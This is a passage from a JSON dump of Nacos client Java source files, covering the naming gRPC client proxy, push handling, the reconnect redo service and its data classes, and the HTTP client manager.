NAMING_LOGGER.error(\"Server return unexpected response '{}', expected response should be '{}'\",\n                    response.getClass().getName(), responseClass.getName());\n            throw new NacosException(NacosException.SERVER_ERROR, \"Server return invalid response\");\n        } catch (NacosException e) {\n            recordRequestFailedMetrics(request, e, response);\n            throw e;\n        } catch (Exception e) {\n            recordRequestFailedMetrics(request, e, response);\n            throw new NacosException(NacosException.SERVER_ERROR, \"Request nacos server failed: \", e);\n        }\n    }\n    \n    /**\n     * Records registration metrics for a service instance.\n     *\n     * @param request   The registration request object.\n     * @param exception The Exception encountered during the registration process, or null if registration was\n     *                  successful.\n     * @param response  The response object containing registration result information, or null if registration failed.\n     */\n    private void recordRequestFailedMetrics(Request request, Exception exception, Response response) {\n        if (!enableClientMetrics) {\n            return;\n        }\n        \n        try {\n            if (Objects.isNull(response)) {\n                MetricsMonitor.getNamingRequestFailedMonitor(request.getClass().getSimpleName(), MONITOR_LABEL_NONE,\n                        MONITOR_LABEL_NONE, exception.getClass().getSimpleName()).inc();\n            } else {\n                MetricsMonitor.getNamingRequestFailedMonitor(request.getClass().getSimpleName(),\n                        String.valueOf(response.getResultCode()), String.valueOf(response.getErrorCode()),\n                        MONITOR_LABEL_NONE).inc();\n            }\n        } catch (Throwable t) {\n            NAMING_LOGGER.warn(\"Fail to record metrics for request {}\", request.getClass().getSimpleName(), t);\n        }\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        NAMING_LOGGER.info(\"Shutdown naming grpc client proxy for  uuid->{}\", uuid);\n        redoService.shutdown();\n        shutDownAndRemove(uuid);\n        NotifyCenter.deregisterSubscriber(this);\n    }\n    \n    private void shutDownAndRemove(String uuid) {\n        synchronized (RpcClientFactory.getAllClientEntries()) {\n            try {\n                RpcClientFactory.destroyClient(uuid);\n                NAMING_LOGGER.info(\"shutdown and remove naming rpc client  for uuid ->{}\", uuid);\n            } catch (NacosException e) {\n                NAMING_LOGGER.warn(\"Fail to shutdown naming rpc client  for uuid ->{}\", uuid);\n            }\n        }\n    }\n    \n    public boolean isEnable() {\n        return rpcClient.isRunning();\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/gprc/NamingPushRequestHandler.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc;\n\nimport com.alibaba.nacos.api.naming.remote.request.NotifySubscriberRequest;\nimport com.alibaba.nacos.api.naming.remote.response.NotifySubscriberResponse;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.api.remote.response.Response;\nimport com.alibaba.nacos.client.naming.cache.ServiceInfoHolder;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.ServerRequestHandler;\n\n/**\n * Naming push request handler.\n *\n * @author xiweng.yy\n */\npublic class NamingPushRequestHandler implements ServerRequestHandler {\n    \n    private final ServiceInfoHolder serviceInfoHolder;\n    \n    public NamingPushRequestHandler(ServiceInfoHolder serviceInfoHolder) {\n        this.serviceInfoHolder = serviceInfoHolder;\n    }\n    \n    @Override\n    public Response requestReply(Request request, Connection connection) {\n        if (request instanceof NotifySubscriberRequest) {\n            NotifySubscriberRequest notifyRequest = (NotifySubscriberRequest) request;\n            serviceInfoHolder.processServiceInfo(notifyRequest.getServiceInfo());\n            return new NotifySubscriberResponse();\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/gprc/redo/NamingGrpcRedoService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc.redo;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ServiceInfo;\nimport com.alibaba.nacos.api.naming.utils.NamingUtils;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.cache.NamingFuzzyWatchServiceListHolder;\nimport com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.BatchInstanceRedoData;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.InstanceRedoData;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.SubscriberRedoData;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.executor.NameThreadFactory;\nimport com.alibaba.nacos.common.remote.client.Connection;\nimport com.alibaba.nacos.common.remote.client.ConnectionEventListener;\n\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentMap;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * Naming client gprc redo service.\n *\n * <p>When connection reconnect to server, redo the register and subscribe.\n * TODO refactor to extends from {@link com.alibaba.nacos.client.redo.service.AbstractRedoService}\n *\n * @author xiweng.yy\n */\npublic class NamingGrpcRedoService implements ConnectionEventListener {\n    \n    private static final String REDO_THREAD_NAME = \"com.alibaba.nacos.client.naming.grpc.redo\";\n    \n    private int redoThreadCount;\n    \n    private long redoDelayTime;\n    \n    private final ConcurrentMap<String, InstanceRedoData> registeredInstances = new ConcurrentHashMap<>();\n    \n    private final ConcurrentMap<String, SubscriberRedoData> subscribes = new ConcurrentHashMap<>();\n    \n    private final NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder;\n    \n    private final ScheduledExecutorService redoExecutor;\n    \n    private volatile boolean connected = false;\n    \n    public NamingGrpcRedoService(NamingGrpcClientProxy clientProxy,\n            NamingFuzzyWatchServiceListHolder namingFuzzyWatchServiceListHolder, NacosClientProperties properties) {\n        setProperties(properties);\n        this.namingFuzzyWatchServiceListHolder = namingFuzzyWatchServiceListHolder;\n        this.redoExecutor = new ScheduledThreadPoolExecutor(redoThreadCount, new NameThreadFactory(REDO_THREAD_NAME));\n        this.redoExecutor.scheduleWithFixedDelay(new RedoScheduledTask(clientProxy, this), redoDelayTime, redoDelayTime,\n                TimeUnit.MILLISECONDS);\n    }\n    \n    private void setProperties(NacosClientProperties properties) {\n        redoDelayTime = properties.getLong(PropertyKeyConst.REDO_DELAY_TIME, Constants.DEFAULT_REDO_DELAY_TIME);\n        redoThreadCount = properties.getInteger(PropertyKeyConst.REDO_DELAY_THREAD_COUNT,\n                Constants.DEFAULT_REDO_THREAD_COUNT);\n    }\n    \n    public ConcurrentMap<String, InstanceRedoData> getRegisteredInstances() {\n        return registeredInstances;\n    }\n    \n    public boolean isConnected() {\n        return connected;\n    }\n    \n    @Override\n    public void onConnected(Connection connection) {\n        connected = true;\n        LogUtils.NAMING_LOGGER.info(\"Grpc connection connect\");\n    }\n    \n    @Override\n    public void onDisConnect(Connection connection) {\n        connected = false;\n        LogUtils.NAMING_LOGGER.warn(\"Grpc connection disconnect, mark to redo\");\n        synchronized (registeredInstances) {\n            registeredInstances.values().forEach(instanceRedoData -> instanceRedoData.setRegistered(false));\n        }\n        synchronized (subscribes) {\n            subscribes.values().forEach(subscriberRedoData -> subscriberRedoData.setRegistered(false));\n        }\n        synchronized (namingFuzzyWatchServiceListHolder) {\n            namingFuzzyWatchServiceListHolder.resetConsistenceStatus();\n        }\n        LogUtils.NAMING_LOGGER.warn(\"mark to redo completed\");\n    }\n    \n    /**\n     * Cache registered instance for redo.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param instance    registered instance\n     */\n    public void cacheInstanceForRedo(String serviceName, String groupName, Instance instance) {\n        String key = NamingUtils.getGroupedName(serviceName, groupName);\n        InstanceRedoData redoData = InstanceRedoData.build(serviceName, groupName, instance);\n        synchronized (registeredInstances) {\n            registeredInstances.put(key, redoData);\n        }\n    }\n    \n    /**\n     * Cache registered instance for redo.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param instances   batch registered instance\n     */\n    public void cacheInstanceForRedo(String serviceName, String groupName, List<Instance> instances) {\n        String key = NamingUtils.getGroupedName(serviceName, groupName);\n        BatchInstanceRedoData redoData = BatchInstanceRedoData.build(serviceName, groupName, instances);\n        synchronized (registeredInstances) {\n            registeredInstances.put(key, redoData);\n        }\n    }\n    \n    /**\n     * Instance register successfully, mark registered status as {@code true}.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     */\n    public void instanceRegistered(String serviceName, String groupName) {\n        String key = NamingUtils.getGroupedName(serviceName, groupName);\n        synchronized (registeredInstances) {\n            InstanceRedoData redoData = registeredInstances.get(key);\n            if (null != redoData) {\n                redoData.registered();\n            }\n        }\n    }\n    \n    /**\n     * Instance deregister, mark unregistering status as {@code true}.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     */\n    public void instanceDeregister(String serviceName, String groupName) {\n        String key = NamingUtils.getGroupedName(serviceName, groupName);\n        synchronized (registeredInstances) {\n            InstanceRedoData redoData = registeredInstances.get(key);\n            if (null != redoData) {\n                redoData.setUnregistering(true);\n                redoData.setExpectedRegistered(false);\n            }\n        }\n    }\n    \n    /**\n     * Instance deregister finished, mark unregistered status.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     */\n    public void instanceDeregistered(String serviceName, String groupName) {\n        String key = NamingUtils.getGroupedName(serviceName, groupName);\n        synchronized (registeredInstances) {\n            InstanceRedoData redoData = registeredInstances.get(key);\n            if (null != redoData) {\n                redoData.unregistered();\n            }\n        }\n    }\n    \n    /**\n     * Remove registered instance for redo.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     */\n    public void removeInstanceForRedo(String serviceName, String groupName) {\n        String key = NamingUtils.getGroupedName(serviceName, groupName);\n        synchronized (registeredInstances) {\n            InstanceRedoData redoData = registeredInstances.get(key);\n            if (null != redoData && !redoData.isExpectedRegistered()) {\n                registeredInstances.remove(key);\n            }\n        }\n    }\n    \n    /**\n     * Find all instance redo data which need do redo.\n     *\n     * @return set of {@code InstanceRedoData} need to do redo.\n     */\n    public Set<InstanceRedoData> findInstanceRedoData() {\n        Set<InstanceRedoData> result = new HashSet<>();\n        synchronized (registeredInstances) {\n            for (InstanceRedoData each : registeredInstances.values()) {\n                if (each.isNeedRedo()) {\n                    result.add(each);\n                }\n            }\n        }\n        return result;\n    }\n    \n    /**\n     * Cache subscriber for redo.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param cluster     cluster\n     */\n    public void cacheSubscriberForRedo(String serviceName, String groupName, String cluster) {\n        String key = ServiceInfo.getKey(NamingUtils.getGroupedName(serviceName, groupName), cluster);\n        SubscriberRedoData redoData = SubscriberRedoData.build(serviceName, groupName, cluster);\n        synchronized (subscribes) {\n            subscribes.put(key, redoData);\n        }\n    }\n    \n    /**\n     * Subscriber register successfully, mark registered status as {@code true}.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param cluster     cluster\n     */\n    public void subscriberRegistered(String serviceName, String groupName, String cluster) {\n        String key = ServiceInfo.getKey(NamingUtils.getGroupedName(serviceName, groupName), cluster);\n        synchronized (subscribes) {\n            SubscriberRedoData redoData = subscribes.get(key);\n            if (null != redoData) {\n                redoData.setRegistered(true);\n            }\n        }\n    }\n    \n    /**\n     * Subscriber deregister, mark unregistering status as {@code true}.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param cluster     cluster\n     */\n    public void subscriberDeregister(String serviceName, String groupName, String cluster) {\n        String key = ServiceInfo.getKey(NamingUtils.getGroupedName(serviceName, groupName), cluster);\n        synchronized (subscribes) {\n            SubscriberRedoData redoData = subscribes.get(key);\n            if (null != redoData) {\n                redoData.setUnregistering(true);\n                redoData.setExpectedRegistered(false);\n            }\n        }\n    }\n    \n    /**\n     * Judge subscriber has registered to server.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param cluster     cluster\n     * @return {@code true} if subscribed, otherwise {@code false}\n     */\n    public boolean isSubscriberRegistered(String serviceName, String groupName, String cluster) {\n        String key = ServiceInfo.getKey(NamingUtils.getGroupedName(serviceName, groupName), cluster);\n        synchronized (subscribes) {\n            SubscriberRedoData redoData = subscribes.get(key);\n            return null != redoData && redoData.isRegistered();\n        }\n    }\n    \n    /**\n     * Remove subscriber for redo.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param cluster     cluster\n     */\n    public void removeSubscriberForRedo(String serviceName, String groupName, String cluster) {\n        String key = ServiceInfo.getKey(NamingUtils.getGroupedName(serviceName, groupName), cluster);\n        synchronized (subscribes) {\n            SubscriberRedoData redoData = subscribes.get(key);\n            if (null != redoData && !redoData.isExpectedRegistered()) {\n                subscribes.remove(key);\n            }\n        }\n    }\n    \n    /**\n     * Find all subscriber redo data which need do redo.\n     *\n     * @return set of {@code SubscriberRedoData} need to do redo.\n     */\n    public Set<SubscriberRedoData> findSubscriberRedoData() {\n        Set<SubscriberRedoData> result = new HashSet<>();\n        synchronized (subscribes) {\n            for (SubscriberRedoData each : subscribes.values()) {\n                if (each.isNeedRedo()) {\n                    result.add(each);\n                }\n            }\n        }\n        return result;\n    }\n    \n    /**\n     * get Cache service.\n     *\n     * @return cache service\n     */\n    public InstanceRedoData getRegisteredInstancesByKey(String combinedServiceName) {\n        return registeredInstances.get(combinedServiceName);\n    }\n    \n    /**\n     * Shutdown redo service.\n     */\n    public void shutdown() {\n        LogUtils.NAMING_LOGGER.info(\"Shutdown grpc redo service executor \" + redoExecutor);\n        registeredInstances.clear();\n        subscribes.clear();\n        redoExecutor.shutdownNow();\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/gprc/redo/RedoScheduledTask.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc.redo;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.BatchInstanceRedoData;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.InstanceRedoData;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.NamingRedoData;\nimport com.alibaba.nacos.client.naming.remote.gprc.redo.data.SubscriberRedoData;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.common.task.AbstractExecuteTask;\n\n/**\n * Redo task.\n * TODO refactor to extends from {@link com.alibaba.nacos.client.redo.service.AbstractRedoTask}\n *\n * @author xiweng.yy\n */\npublic class RedoScheduledTask extends AbstractExecuteTask {\n    \n    private final NamingGrpcClientProxy clientProxy;\n    \n    private final NamingGrpcRedoService redoService;\n    \n    public RedoScheduledTask(NamingGrpcClientProxy clientProxy, NamingGrpcRedoService redoService) {\n        this.clientProxy = clientProxy;\n        this.redoService = redoService;\n    }\n    \n    @Override\n    public void run() {\n        if (!redoService.isConnected()) {\n            LogUtils.NAMING_LOGGER.warn(\"Grpc Connection is disconnect, skip current redo task\");\n            return;\n        }\n        try {\n            redoForInstances();\n            redoForSubscribes();\n        } catch (Exception e) {\n            LogUtils.NAMING_LOGGER.warn(\"Redo task run with unexpected exception: \", e);\n        }\n    }\n    \n    private void redoForInstances() {\n        for (InstanceRedoData each : redoService.findInstanceRedoData()) {\n            try {\n                redoForInstance(each);\n            } catch (NacosException e) {\n                LogUtils.NAMING_LOGGER.error(\"Redo instance operation {} for {}@@{} failed. \", each.getRedoType(),\n                        each.getGroupName(), each.getServiceName(), e);\n            }\n        }\n    }\n    \n    private void redoForInstance(InstanceRedoData redoData) throws NacosException {\n        NamingRedoData.RedoType redoType = redoData.getRedoType();\n        String serviceName = redoData.getServiceName();\n        String groupName = redoData.getGroupName();\n        LogUtils.NAMING_LOGGER.info(\"Redo instance operation {} for {}@@{}\", redoType, groupName, serviceName);\n        switch (redoType) {\n            case REGISTER:\n                if (isClientDisabled()) {\n                    return;\n                }\n                processRegisterRedoType(redoData, serviceName, groupName);\n                break;\n            case UNREGISTER:\n                if (isClientDisabled()) {\n                    return;\n                }\n                clientProxy.doDeregisterService(serviceName, groupName, redoData.get());\n                break;\n            case REMOVE:\n                redoService.removeInstanceForRedo(serviceName, groupName);\n                break;\n            default:\n        }\n        \n    }\n    \n    private void processRegisterRedoType(InstanceRedoData redoData, String serviceName, String groupName) throws NacosException {\n        if (redoData instanceof BatchInstanceRedoData) {\n            // Execute Batch Register\n            BatchInstanceRedoData batchInstanceRedoData = (BatchInstanceRedoData) redoData;\n            clientProxy.doBatchRegisterService(serviceName, groupName, batchInstanceRedoData.getInstances());\n            return;\n        }\n        clientProxy.doRegisterService(serviceName, groupName, redoData.get());\n    }\n    \n    private void redoForSubscribes() {\n        for (SubscriberRedoData each : redoService.findSubscriberRedoData()) {\n            try {\n                redoForSubscribe(each);\n            } catch (NacosException e) {\n                LogUtils.NAMING_LOGGER.error(\"Redo subscriber operation {} for {}@@{}#{} failed. \", each.getRedoType(),\n                        each.getGroupName(), each.getServiceName(), each.get(), e);\n            }\n        }\n    }\n    \n    private void redoForSubscribe(SubscriberRedoData redoData) throws NacosException {\n        NamingRedoData.RedoType redoType = redoData.getRedoType();\n        String serviceName = redoData.getServiceName();\n        String groupName = redoData.getGroupName();\n        String cluster = redoData.get();\n        LogUtils.NAMING_LOGGER.info(\"Redo subscriber operation {} for {}@@{}#{}\", redoType, groupName, serviceName, cluster);\n        switch (redoData.getRedoType()) {\n            case REGISTER:\n                if (isClientDisabled()) {\n                    return;\n                }\n                clientProxy.doSubscribe(serviceName, groupName, cluster);\n                break;\n            case UNREGISTER:\n                if (isClientDisabled()) {\n                    return;\n                }\n                clientProxy.doUnsubscribe(serviceName, groupName, cluster);\n                break;\n            case REMOVE:\n                redoService.removeSubscriberForRedo(redoData.getServiceName(), redoData.getGroupName(), redoData.get());\n                break;\n            default:\n        }\n    }\n    \n    private boolean isClientDisabled() {\n        return !clientProxy.isEnable();\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/gprc/redo/data/BatchInstanceRedoData.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc.redo.data;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\n\nimport java.util.List;\nimport java.util.Objects;\n\n/**\n * batch instance redo service.\n *\n * @author <a href=\"mailto:chenhao26@xiaomi.com\">chenhao26</a>\n */\npublic class BatchInstanceRedoData extends InstanceRedoData {\n    \n    List<Instance> instances;\n    \n    public List<Instance> getInstances() {\n        return instances;\n    }\n    \n    public void setInstances(List<Instance> instances) {\n        this.instances = instances;\n    }\n    \n    protected BatchInstanceRedoData(String serviceName, String groupName) {\n        super(serviceName, groupName);\n    }\n\n    /**\n     * build BatchInstanceRedoData.\n     *\n     * @param serviceName service name\n     * @param groupName   group name\n     * @param instances   instances\n     * @return build BatchInstanceRedoData\n     */\n    public static BatchInstanceRedoData build(String serviceName, String groupName, List<Instance> instances) {\n        BatchInstanceRedoData result = new BatchInstanceRedoData(serviceName, groupName);\n        result.setInstances(instances);\n        return result;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (!(o instanceof BatchInstanceRedoData)) {\n            return false;\n        }\n        if (!super.equals(o)) {\n            return false;\n        }\n        BatchInstanceRedoData redoData = (BatchInstanceRedoData) o;\n        return Objects.equals(instances, redoData.instances);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(super.hashCode(), instances);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/gprc/redo/data/InstanceRedoData.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc.redo.data;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\n\n/**\n * Redo data for register service instance.\n *\n * @author xiweng.yy\n */\npublic class InstanceRedoData extends NamingRedoData<Instance> {\n    \n    protected InstanceRedoData(String serviceName, String groupName) {\n        super(serviceName, groupName);\n    }\n    \n    /**\n     * Build a new {@code RedoData} for register service instance.\n     *\n     * @param serviceName service name for redo data\n     * @param groupName   group name for redo data\n     * @param instance    instance for redo data\n     * @return new {@code RedoData} for register service instance\n     */\n    public static InstanceRedoData build(String serviceName, String groupName, Instance instance) {\n        InstanceRedoData result = new InstanceRedoData(serviceName, groupName);\n        result.set(instance);\n        return result;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/gprc/redo/data/NamingRedoData.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc.redo.data;\n\nimport com.alibaba.nacos.client.redo.data.RedoData;\n\nimport java.util.Objects;\n\n/**\n * Nacos naming redo data.\n *\n * @author xiweng.yy\n */\npublic abstract class NamingRedoData<T> extends RedoData<T> {\n    \n    private final String serviceName;\n    \n    private final String groupName;\n    \n    protected NamingRedoData(String serviceName, String groupName) {\n        super();\n        this.serviceName = serviceName;\n        this.groupName = groupName;\n    }\n    \n    public String getServiceName() {\n        return serviceName;\n    }\n    \n    public String getGroupName() {\n        return groupName;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        NamingRedoData<?> redoData = (NamingRedoData<?>) o;\n        return super.equals(o) && serviceName.equals(redoData.serviceName) && groupName.equals(redoData.groupName);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(super.hashCode(), serviceName, groupName);\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/gprc/redo/data/SubscriberRedoData.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc.redo.data;\n\n/**\n * Redo data for subscribers.\n *\n * @author xiweng.yy\n */\npublic class SubscriberRedoData extends NamingRedoData<String> {\n    \n    private SubscriberRedoData(String serviceName, String groupName) {\n        super(serviceName, groupName);\n    }\n    \n    /**\n     * Build a new {@code RedoData} for subscribers.\n     *\n     * @param serviceName service name for redo data\n     * @param groupName   group name for redo data\n     * @param clusters    clusters for redo data\n     * @return new {@code RedoData} for subscribers\n     */\n    public static SubscriberRedoData build(String serviceName, String groupName, String clusters) {\n        SubscriberRedoData result = new SubscriberRedoData(serviceName, groupName);\n        result.set(clusters);\n        return result;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/http/NamingHttpClientManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.http;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.http.AbstractHttpClientFactory;\nimport com.alibaba.nacos.common.http.HttpClientBeanHolder;\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.HttpClientFactory;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.tls.TlsSystemConfig;\nimport com.alibaba.nacos.common.utils.ExceptionUtil;\nimport org.slf4j.Logger;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTPS_PREFIX;\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTP_PREFIX;\n\n/**\n * http Manager.\n *\n * @author mai.jh\n */\npublic class NamingHttpClientManager implements Closeable {\n    \n    private static final int READ_TIME_OUT_MILLIS = Integer\n            .getInteger(\"com.alibaba.nacos.client.naming.rtimeout\", 50000);\n    \n    private static final int CON_TIME_OUT_MILLIS = Integer.getInteger(\"com.alibaba.nacos.client.naming.ctimeout\", 3000);\n    \n    private static final boolean ENABLE_HTTPS = Boolean.getBoolean(TlsSystemConfig.TLS_ENABLE);\n    \n    private static final int MAX_REDIRECTS = 5;\n    \n    private static final HttpClientFactory HTTP_CLIENT_FACTORY = new NamingHttpClientFactory();\n    \n    private static class NamingHttpClientManagerInstance {\n        \n        private static final NamingHttpClientManager INSTANCE = new NamingHttpClientManager();\n    }\n    \n    public static NamingHttpClientManager getInstance() {\n        return NamingHttpClientManagerInstance.INSTANCE;\n    }\n    \n    public String getPrefix() {\n        return ENABLE_HTTPS ? HTTPS_PREFIX : HTTP_PREFIX;\n    }\n    \n    public NacosRestTemplate getNacosRestTemplate() {\n        return HttpClientBeanHolder.getNacosRestTemplate(HTTP_CLIENT_FACTORY);\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        NAMING_LOGGER.info(\"[NamingHttpClientManager] Start destroying NacosRestTemplate\");\n        try {\n            HttpClientBeanHolder.shutdownNacosSyncRest(HTTP_CLIENT_FACTORY.getClass().getName());\n        } catch (Exception ex) {\n            NAMING_LOGGER.error(\"[NamingHttpClientManager] An exception occurred when the HTTP client was closed : {}\",\n                    ExceptionUtil.getStackTrace(ex));\n        }\n        NAMING_LOGGER.info(\"[NamingHttpClientManager] Completed destruction of NacosRestTemplate\");\n    }\n    \n    private static class NamingHttpClientFactory extends AbstractHttpClientFactory {\n        \n        @Override\n        protected HttpClientConfig buildHttpClientConfig() {\n            return HttpClientConfig.builder().setConTimeOutMillis(CON_TIME_OUT_MILLIS)\n                    .setReadTimeOutMillis(READ_TIME_OUT_MILLIS).setMaxRedirects(MAX_REDIRECTS).build();\n        }\n        \n        @Override\n        protected Logger assignLogger() {\n            return NAMING_LOGGER;\n        }\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/naming/remote/http/NamingHttpClientProxy.java",
